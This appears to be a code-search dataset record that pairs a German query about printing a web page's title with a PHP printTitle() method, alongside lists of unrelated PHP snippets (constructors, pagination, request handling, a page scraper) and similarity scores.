"public function getPage() {\r\n\t\t//TODO: Check if user may look at the pages.\r\n\t\t\r\n\r\n\t\tif (isset ( $_POST ['page'] )) {\r\n\t\t\tswitch ($_POST ['page']) {\r\n\t\t\t\tcase 'getPlugins' :\r\n\t\t\t\t\t$this->pageGetPlugins ();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'enabled' :\r\n\t\t\t\t\t$this->pageEnabled ();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'priority' :\r\n\t\t\t\t\t//Change the priority of a plugin\n\t\t\t\t\t//Should not be possible to change using the GUI\n\t\t\t\t\t//Install/uninstall classes should change plugin priority.\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'uninstall' :\r\n\t\t\t\t\t$this->pageUninstall ();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'install' :\r\n\t\t\t\t\t$this->pageInstall ();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tdefault :\r\n\t\t\t\t\tthrow new Exception ( \"page request not valid\" );\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tthrow new Exception ( \"page request not valid\" );\r\n\t\t}\r\n\t}",
"public function viewLesson() {\r\n Auth::checkAuthentication();\r\n $userID = Session::get('user_id');\r\n $userRole = Session::get('user_role');\r\n $lesson_id = Request::get('id');\r\n \r\n if(isset($userID) && isset($userRole) && isset($lesson_id)) {\r\n if (LessonModel::canViewLesson($userID, $userRole, $lesson_id)) {\r\n if (!LessonModel::hasStartedLesson($userID, $lesson_id)) {\r\n LessonModel::recordStartedLesson($userID, $lesson_id);\r\n }\r\n $lessonData = LessonModel::getLessonData($userID, $userRole, $lesson_id);\r\n $this->View->render('lesson/viewLesson', $lessonData);\r\n } else {\r\n Redirect::to('lesson/index');\r\n }\r\n } else {\r\n Redirect::to('error/index');\r\n }\r\n }",
"public function testSetAndGetParams()\n {\n $page = new Zym_Navigation_Page_Mvc(array(\n 'label' => 'foo',\n 'action' => 'index',\n 'controller' => 'index'\n ));\n \n $params = array('foo' => 'bar', 'baz' => 'bat');\n \n $page->setParams($params);\n $this->assertEquals($params, $page->getParams());\n \n $page->setParams();\n $this->assertEquals(array(), $page->getParams());\n \n $page->setParams($params);\n $this->assertEquals($params, $page->getParams());\n \n $page->setParams(array());\n $this->assertEquals(array(), $page->getParams());\n }",
"public function __construct()\n {\n\t@$this->solicitador = $_REQUEST[\"{$this->paginador}\"];\n }",
"public function __construct() {\r\n session_start();\r\n\r\n //store the absolute script directory\r\n //note that this is not the admin directory\r\n self::$abs_path = dirname(dirname(__FILE__));\r\n\r\n //initialize the post variable\r\n if($_SERVER['REQUEST_METHOD'] == 'POST') {\r\n $this->post = $_POST;\r\n if(get_magic_quotes_gpc ()) {\r\n //get rid of magic quotes and slashes if present\r\n array_walk_recursive($this->post, array($this, 'stripslash_gpc'));\r\n }\r\n }\r\n\r\n //initialize the get variable\r\n $this->get = $_GET;\r\n //decode the url\r\n array_walk_recursive($this->get, array($this, 'urldecode'));\r\n }",
"function getPage()\r\n{\r\n if (isPosted())\r\n {\r\n return getPostVar(\"page\",\"home\"); \r\n } \r\n else \r\n {\r\n return getUrlVar(\"page\",\"home\");\r\n } \r\n}",
"public function __construct()\n {\n $this->page = collect();\n $this->page->title = 'Patient Dashboard';\n $this->page->view = 'home';\n }",
"public function __construct()\n\t{\n\t\tif(isset ($_GET['DepartmentId']))\n\t\t\t$this -> mSelectedDepartment = (int)$_GET['DepartmentId'];\n\t\t\t\n\t\tif(isset ($_GET['CategoryId']))\n\t\t\t$this -> mSelectedCategory = (int)$_GET['CategoryId'];\n\t}",
"public function __construct(){\n\t\t$this->request = $_REQUEST;\n\t\t$this->get = $_GET;\n\t\t$this->post = $_POST;\n\t\t$this->checkHtaccess();\n\t}",
"function url($page='') {\n return $this->base_url . $page;\n }",
"function HTMLPage ($params) {\n if (!isset($params['total-count'])) {\n return '';\n }\n\n //REQUEST_URIを解析\n $uris = @explode(\"?\", $_SERVER['REQUEST_URI']);\n $base_url = $uris[0];\n $query_params = array();\n if (count($uris)>1) {\n $querys = @explode(\"&\", $uris[1]);\n $query_params = array();\n foreach ($querys as $query) {\n $tmp_params = @explode(\"=\", $query);\n $query_params[$tmp_params[0]] = $tmp_params[1];\n }\n }\n $now_page = 1;\n if (isset($query_params['pager_id'])) {\n $now_page = $query_params['pager_id'];\n }\n unset($query_params['pager_id']);\n\n //POSTデータから条件を設定する「s_」を対象とする仕様。\n foreach ($_POST as $key=>$val) {\n if (substr($key, 0 ,2)=='s_') {\n if (is_array($val)) {\n $i=0;\n foreach ($val as $k=>$v) {\n if (is_null($k)) {\n $k = $i++;\n }\n $str = $key.\"[\".$k.\"]\";\n $query_params[$str] = htmlentities($v);\n }\n }\n else {\n $query_params[$key] = htmlentities($val);\n }\n }\n }\n\n //再構成\n $base_url = site_url($base_url);\n if (count($query_params)>0) {\n $querys = array();\n foreach ($query_params as $key=>$val) {\n $querys[] = $key . '=' . $val;\n }\n $base_url = $base_url . \"?\" . @implode('&', $querys);\n }\n\n //全ページ数を算出\n $total_page = ceil($params['total-count'] / SC_PAGE_COUNT);\n $total_pages = array();\n for ($i=1; $i<=$total_page; $i++) {\n $total_pages[$i] = $i;\n }\n //現在ページから最大5つページ番号を表示するための制御\n $page_data = array();\n for ($i=($now_page-5); $i<=($now_page+5); $i++) {\n if (isset($total_pages[$i])) {\n $page_data[$i] = $base_url . '?pager_id=' . $i;\n if (count($query_params)>0) {\n $page_data[$i] = $base_url . '&pager_id=' . $i;\n }\n }\n }\n\n //固定部生成\n $next_page = $now_page + 1;\n if ($next_page > $total_page) {\n $next_page = $total_page;\n }\n $prev_page = $now_page - 1;\n if ($prev_page < 1) {\n $prev_page = 1;\n }\n $link1 = $base_url . '?pager_id=1';\n if (count($query_params)>0) {\n $link1 = $base_url . '&pager_id=1';\n }\n $link2 = $base_url . '?pager_id=' . $prev_page;\n if (count($query_params)>0) {\n $link2 = $base_url . '&pager_id=' . $prev_page;\n }\n $link3 = $base_url . '?pager_id=' . $next_page;\n if (count($query_params)>0) {\n $link3 = $base_url . '&pager_id=' . $next_page;\n }\n $link4 = $base_url . '?pager_id=' . $total_page;\n if (count($query_params)>0) {\n $link4 = $base_url . '&pager_id=' . $total_page;\n }\n\n $page_html = array();\n if ($total_page > 0) {\n $page_html[] = SimpleCartFunctions::HTMLLink(array('href'=>$link1, 'value'=>__(SCLNG_PAGER_FIRST, SC_DOMAIN)));\n $page_html[] = SimpleCartFunctions::HTMLLink(array('href'=>$link2, 'value'=>__(SCLNG_PAGER_PREV, SC_DOMAIN)));\n foreach ($page_data as $key=>$data) {\n if ($key == $now_page) {\n $page_html[] = $key;\n }\n else {\n $page_html[] = SimpleCartFunctions::HTMLLink(array('href'=>$data, 'value'=>$key));\n }\n }\n $page_html[] = SimpleCartFunctions::HTMLLink(array('href'=>$link3, 'value'=>__(SCLNG_PAGER_NEXT, SC_DOMAIN)));\n $page_html[] = SimpleCartFunctions::HTMLLink(array('href'=>$link4, 'value'=>__(SCLNG_PAGER_LAST, SC_DOMAIN)));\n }\n $page_html[] = __(SCLNG_PAGER_TOTAL, SC_DOMAIN);\n $page_html[] = \":\";\n $page_html[] = $params['total-count'];\n return @implode(' ', $page_html);\n }",
"public function Page(){\n parent::__construct();\n $this->template_dir = DOCUMENT_ROOT.'/templates/';\n $this->compile_dir = DOCUMENT_ROOT.'/smarty/';\n //$this->caching = Smarty::CACHING_LIFETIME_CURRENT;\n $this->caching = Smarty::CACHING_OFF;\n $this->debugging = false;\n }",
"function __construct(Page $model) {\n $this->model = $model;\n }",
"public function __construct() {\n $this->config = \\Drupal::config('lesson3.settings');\n }",
"function __construct()\n\t{\n\t\t$this->_start_time = get_microtime();\n\n\t\tif (DEBUG)\n\t\t{\n\t\t\tdwrite(\"**[Page processing begin]**\");\n\n\t\t\tif (conf('page.show_vars', false))\n\t\t\t{\n\t\t\t\tdwrite_msg('GET', dump_str($_GET));\n\t\t\t\tdwrite_msg('POST', dump_str($_POST));\n\t\t\t\tdwrite_msg('SESSION', dump_str($_SESSION));\n\t\t\t\tdwrite_msg('FILES', dump_str($_FILES));\n\t\t\t\tdwrite_msg('COOKIE', dump_str($_COOKIE));\n\t\t\t}\n\t\t}\n\n\t\t$this->fill_templates_paths();\n\t}",
"public function show(Sortinglesson $sortinglesson)\n {\n //\n }"
] | [
"0.6131545",
"0.60116404",
"0.5702488",
"0.5668946",
"0.55991286",
"0.5596494",
"0.55487067",
"0.5511325",
"0.5491457",
"0.5278557",
"0.5238565",
"0.52247334",
"0.5220775",
"0.52163243",
"0.51656985",
"0.5155028",
"0.51402724",
"0.51170737",
"0.51129776",
"0.51098186",
"0.5109704",
"0.5081058",
"0.5059558",
"0.504774",
"0.50347674",
"0.5014959",
"0.50044185",
"0.4922766",
"0.4922766",
"0.4922766",
"0.4922766",
"0.49227434",
"0.49064854",
"0.48952535",
"0.4891424",
"0.4872246",
"0.4857513",
"0.48552004",
"0.48496917",
"0.48349547",
"0.48247793",
"0.48218355",
"0.48",
"0.47815385",
"0.47742063",
"0.47729373",
"0.47719362",
"0.47719362",
"0.4769068",
"0.4746499",
"0.4745703",
"0.47419664",
"0.47411743",
"0.47332868",
"0.47319028",
"0.4714318",
"0.47095174",
"0.4704894",
"0.47039098",
"0.4696869",
"0.46964225",
"0.46921116",
"0.46814814",
"0.4680487",
"0.46732482",
"0.46723196",
"0.46678114",
"0.46637312",
"0.46535647",
"0.46424",
"0.46422634",
"0.4639296",
"0.4633344",
"0.4628987",
"0.4621415",
"0.4612342",
"0.46112302",
"0.46106058",
"0.46088922",
"0.46084815",
"0.46037722",
"0.46016344",
"0.4599197",
"0.45954865",
"0.45903748",
"0.45852488",
"0.45808986",
"0.45793417",
"0.45778364",
"0.45753378",
"0.45718",
"0.45698434",
"0.45673707",
"0.4565208",
"0.45628092",
"0.4560693",
"0.45584896",
"0.455811",
"0.45497602",
"0.4549355"
] | 0.68621135 | 0 |
Stellt den Titel der Webseite dar. | public function printTitle() {
echo $this->title;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function web();",
"public function towing()\n {\n $blogs = $this->common_model->getRecords(TABLES::$MST_BLOG_POSTS,'*',array('status'=>'1'));\n \n $this->template->set('global_setting', $this->global_setting);\n $this->template->set('blogs', $blogs);\n $this->template->set('page', 'towing');\n $this->template->set_theme('default_theme');\n $this->template->set_layout('landing_page') \n ->set_partial('header', 'partials/lp_header')\n ->set_partial('footer', 'partials/lp_footer')\n ->title($this->global_setting['site_title'] . ' | Building Services');\n $this->template->build('frontpages/towing');\n }",
"public function index()\n\t{\n\t\t//on récupère l'URL\n\t\t//echo \"on cherche : \".$this->guid;\n\t\t\n\t\t\n\t}",
"function get_teaser() \t{\n \t\treturn $this->teaser;\n \t}",
"function makeWeb()\n {\n\n $web = \"</div>No calendar information available.</div>\";\n if (isset($this->calendar->events)) {\n $web = \"\";\n foreach ($this->calendar->events as $event) {\n $timestamp = $this->textCalendar($event, [\"timestamp\"]);\n\n $web .=\n \"<div>\" .\n \"<div>\" .\n $this->thing->time_handler->textTime($timestamp) .\n \" \" .\n $event->summary .\n \" [\" .\n $event->runtime .\n \"] \" .\n \"</div><div>\" .\n $event->description .\n \"</div><div>\" .\n $event->location .\n \"</div></div>\";\n }\n }\n\n $this->thing_report[\"info\"] =\n \"Times are \" . $this->time_zone . \". Click refresh to update.\";\n\n $this->web = $web;\n $this->thing_report[\"web\"] = $this->web;\n }",
"function cl_rhlocaltrab() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhlocaltrab\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_sau_triagemavulsa() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"sau_triagemavulsa\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function run(){\nif(!isset($_REQUEST['try_it_yourself'])){\n\tredirect('/lap_trinh/web/');\n}\n\n\n$indexpage='/';\n$base='/';\n\n\n//process textarea content\n$trans= new web_transfer();\n\n//start filter url\n$filter_url=split('=',$_REQUEST['try_it_yourself']);\n$filer_path=split('/',$_REQUEST['try_it_yourself']);\n\nif(count($filter_url) >1){\n\t$url_replace=$filter_url[1].'.htm';\n\t$url='http://www.w3schools.com/'.$_REQUEST['try_it_yourself'];\n}\nelse {\n$url_replace='';\n$url='http://www.w3schools.com/bootstrap/tryit.asp?filename=trybs_default';\n}\n\n$new_try_url=$filer_path[0].\"/\".$url_replace;\n\n$url_to_replace='/lap_trinh/runIframe?url='.$new_try_url;\n//end filter url\n\n\n$trans->initiate_news ($url,$indexpage); \n$trans->converturl($url,$base);\n$content ='';\n$trans->start_transfer(\"www.w3schools.com\");\n$trans->getcontent($content);\n\n//start filter\n//$content=str_replace('xsrc','src',$content);\n$content=str_replace('onclick=\"submitTryit()\"','',$content);\n$content=str_replace('img_logo.gif','http://myweb.pro.vn/images/avatar-hat-240.png',$content);\n$content=str_replace('XGSy3_Czz8k','qSeNdUL1Vx8',$content);\n$content=str_replace('http://www.youtube.com/embed/XGSy3_Czz8k','http://www.youtube.com/embed/gBayCA8-92A',$content);\n$content=str_replace('W3Schools.com','Learning TOEFL',$content);\n$content=str_replace('audi.jpeg','http://myweb.pro.vn/images/avatar-hat-240.png',$content);\n$content=str_replace('http://www.w3schools.com','http://myweb.pro.vn/toefl/index',$content);\n$content=str_replace('bookmark.swf','http://vuigame.vcdn.vn/upload/data/duaxejeep_1354186332.swf',$content);\n$content=str_replace('horse.ogg','http://myweb.pro.vn/music/my_oh_my.mp3',$content);\n$content=str_replace('horse.mp3','http://myweb.pro.vn/music/1A%20time%20for%20us.mp3',$content);\n$content=str_replace('demo_iframe.htm','http://myweb.pro.vn/game/',$content);\n$content=str_replace($url_replace,$url_to_replace,$content);\n$content=str_replace('Edit This Code:','Viết đoạn code bên dưới: ',$content);\n$content=str_replace('See Result','Chạy thử đoạn code này',$content);\n$content=str_replace('class=\"submit\"','class=\"btn btn-primary\"',$content);\n$content=str_replace('<script>submitTryit()</script>','<div class=\"footer_append_server\"></div>',$content);\npreg_match_all('/<body>(.*?)<div class=\"footer_append_server\">/s',$content,$matches,PREG_SET_ORDER);\nforeach($matches as $key_1);\n//end filter\n\n$data['main']=$key_1[0];\n$data['csrf_test_name'] = $this->security->get_csrf_hash(); \n$this->load->view('/lap_trinh/run_code',$data);\n}",
"function cl_tarefa_lanc() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tarefa_lanc\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_rhsolicita() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhsolicita\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function boleta()\n\t{\n\t\t//\n\t}",
"function cl_moblevantamentoedi() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"moblevantamentoedi\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_tfd_situacaopedidotfd() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tfd_situacaopedidotfd\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function show(web $web)\n {\n //\n }",
"function get_html()\n\t{\n\n\t// incrase views\n\n\t}",
"public function web()\n\t{\n\t\t$data['judul'] = 'WEBSITE';\n\n\t\t$data['web'] = $this->db->get('web')->result_array();\n\n\t\t$this->load->view('tamplates/headerMarvel', $data); \n\t\t$this->load->view('home/web', $data); \n\t\t$this->load->view('tamplates/footerMarvel'); \n\t}",
"public function getSitoWeb()\n\t\t{\n\t\treturn $this->sito_web;\n\t\t}",
"function cl_rhempenhofolharubrica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhempenhofolharubrica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function myFunction(){\n\t\t\t\techo \"le site \" . MON_URL . \" c'est de la balle !\";\n\t\t\t}",
"public function testWebinars()\n {\n }",
"function cl_db_projetoscliente() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"db_projetoscliente\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_rhestagio() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhestagio\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_sau_receitamedica() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"sau_receitamedica\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_traperm() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"traperm\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function defaultAction(){\n\t\t$pseudo = \"Test\";\n\n\t\t//Affiche moi la vue home;\n\t\t$installer = new installer;\n\t\tif(!$installer->checkInstall() xor file_exists('.env.prod')){\n\t\t\theader('location: /installer');\n\t\t}else{\n\t\t$page = new Page();\n\t\t$acceuil = $page->getpageaccueil();\n\t\tif(!empty($acceuil)){\n\t\t\t$view = new View(\"page\", \"front\");\n\t\t\t$view->assign(\"page\",$acceuil[0]);\n\t\t\t$articles = $page->getArticleByIdPage($acceuil[0][\"id\"]);\n\t\t\t$view->assign('articles',$articles);\n\t\t\t$view->assign(\"title\",$acceuil[0]['slug']);\n\t\t}\n\t\telse{\n\t\t\t$view = new View();\n\t\t\t$view->assign(\"title\",\"Votre site\");\n\t\t}\n\t\t\n\t}\n\n\t\t//envoyer le pseudo à la vue\n\t}",
"function cl_escrito() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"escrito\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function __construct ()\n {\n if ($this->webIsEnabled()) {\n $this->thePage();\n } else {\n if (! Helper::urlContains('_administrator')) {\n echo '<p>Sorry we will be back soon.</p>';\n } else {\n $this->thePage();\n }\n }\n }",
"function cl_moblevantamento() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"moblevantamento\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_issplan() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"issplan\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_ouvidoriaatendimento() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"ouvidoriaatendimento\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_rhemitecontracheque() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhemitecontracheque\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function index() {\n $this->ograniczDostepTylkoDlaAdmina();\n $db = $this->registry->db; \n $login = isset($_SESSION['user']) ? $_SESSION['user'] : '';\n if ($db::isUserInRole($login, 'admin')) {\n $this->registry->template->results = $db::getTypyUrzadzenList();\n }\n //else\n //{\n //$thisd ->registry->template->results = $db::getUrzadeniaListByLogin($login); \n //}\n $this->registry->template->show('typy_urzadzen/typy_urzadzen_index');\n }",
"public function web_load(){\n\t\t$this->common();\n\t}",
"public function web()\n {\n return Web::getinstance();\n }",
"public function indexTypo3PageContent() {}",
"private function najitNavstevu(){\n $this->tpl = \"konec-navstevy\";\n }",
"public function actionAthelyezendo()\n\t{\n\t\t$this->render('athelyezendo');\n\t}",
"function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\n\t\tif (($this->id && $access) || ($BE_USER->user[\"admin\"] && !$this->id))\t{\n\n\t\t\t\t// Draw the header.\n\t\t\t$this->doc = t3lib_div::makeInstance(\"bigDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\t\t\t$this->doc->form='<form action=\"index.php?id='.$this->id.'\" method=\"POST\">';\n\n\t\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode='\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t</script>\n\t\t\t';\n\n\t\t\t$headerSection = $this->doc->getHeader(\"pages\",$this->pageinfo,$this->pageinfo[\"_thePath\"]).\"<br />\".$LANG->sL(\"LLL:EXT:lang/locallang_core.xml:labels.path\").\": \".t3lib_div::fixed_lgd_pre($this->pageinfo[\"_thePath\"],50);\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL(\"title\"));\t\n\t\t\texec('hostname',$ret);\n\t\t\t$ret=implode(\"\",$ret);\n\t\t\t$this->content.=$this->doc->header($LANG->getLL(\"title\") .\" on: $ret\");\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->section(\"\",$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,\"SET[function]\",$this->MOD_SETTINGS[\"function\"],$this->MOD_MENU[\"function\"])));\n\t\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section(\"\",$this->doc->makeShortcutIcon(\"id\",implode(\",\",array_keys($this->MOD_MENU)),$this->MCONF[\"name\"]));\n\t\t\t}\n\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t} else {\n\t\t\t\t// If no access or if ID == zero\n\n\t\t\t$this->doc = t3lib_div::makeInstance(\"mediumDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->header($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t}\n\t}",
"function putAfficheSite(){\n\tglobal $translator;\n\t//$oSite = new Cms_site($_SESSION['idSite_travail']);\n\tprint(\"<br /><div class='arbo' align='left'>\".$translator->getTransByCode('sitedetravail').\": \".$_SESSION['site'].\"</div><br />\");\n}",
"public function tutti()\n {\n\n $utentiDao = new AutoreDao();\n $res = $utentiDao->read();\n\n $view = new ViewCore();\n echo $view->render(\n 'gestione_utenti\\tutti_gli_utenti.html',\n ['autori' => $res]\n );\n\n\n\n //print_r($twig);\n }",
"public function sit();",
"public function BestellingOverzichtView() {\r\n include_once('/var/www/filmpje.nl/backend/Stoelen.php');\r\n include_once('/var/www/filmpje.nl/backend/TotaalPrijsCalculatie.php');\r\n }",
"function cl_tipovistoriasrec() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tipovistoriasrec\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_tfd_bpamagnetico() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tfd_bpamagnetico\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_sau_agendaexames() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"sau_agendaexames\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_habitcandidatointeresseprograma() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"habitcandidatointeresseprograma\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function elso()\n {\n }",
"function cl_empage() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"empage\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function Index() {\n\t \t\t$plantilla = new NeuralPlantillasTwig(APP);\n\t \t\t$plantilla->Parametro('Sesion', AppSesion::obtenerDatos());\n\t\t\t$plantilla->Parametro('activo', __CLASS__);\n\t\t\t$plantilla->Parametro('URL', \\Neural\\WorkSpace\\Miscelaneos::LeerModReWrite());\n\t\t\t$plantilla->Parametro('listaAveria', $this->Modelo->listaAveria());\n\t\t\t$plantilla->Parametro('validacion', $this->IndexValidacionFormulario());\n \t\t\t$plantilla->Parametro('razonAveria', $this->Modelo->listadoRazonAveria());\n \t\t\techo $plantilla->MostrarPlantilla('TriplePlay', 'Index.html');\n\t\t}",
"function before_render_tealium_html() {\r\n \r\n }",
"function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\n\t\tif (($this->id && $access) || ($BE_USER->user[\"admin\"] && !$this->id))\t{\n\n\t\t\t// Draw the header.\n\t\t\t$this->doc = t3lib_div::makeInstance(\"mediumDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\t\t\t$this->doc->form = '<form action=\"\" method=\"post\">';\n\n\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL) {\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode='\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = ' . intval($this->id) . ';\n\t\t\t\t</script>\n\t\t\t';\n\n\t\t\t$headerSection = $this->doc->getHeader(\"pages\",$this->pageinfo,$this->pageinfo[\"_thePath\"]).\"<br>\".$LANG->sL(\"LLL:EXT:lang/locallang_core.php:labels.path\").\": \".t3lib_div::fixed_lgd_pre($this->pageinfo[\"_thePath\"],50);\n\n\t\t\t$this->content .= $this->doc->startPage($LANG->getLL(\"title\"));\n\t\t\t$this->content .= $this->doc->header($LANG->getLL(\"title\"));\n\t\t\t$this->content .= $this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->section(\"\",$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,\"SET[function]\",$this->MOD_SETTINGS[\"function\"],$this->MOD_MENU[\"function\"])));\n\t\t\t$this->content .= $this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t$this->content .= $this->doc->spacer(20).$this->doc->section(\"\",$this->doc->makeShortcutIcon(\"id\",implode(\",\",array_keys($this->MOD_MENU)),$this->MCONF[\"name\"]));\n\t\t\t}\n\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t} else {\n\t\t\t// If no access or if ID == zero\n\n\t\t\t$this->doc = t3lib_div::makeInstance(\"mediumDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->header($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t}\n\t}",
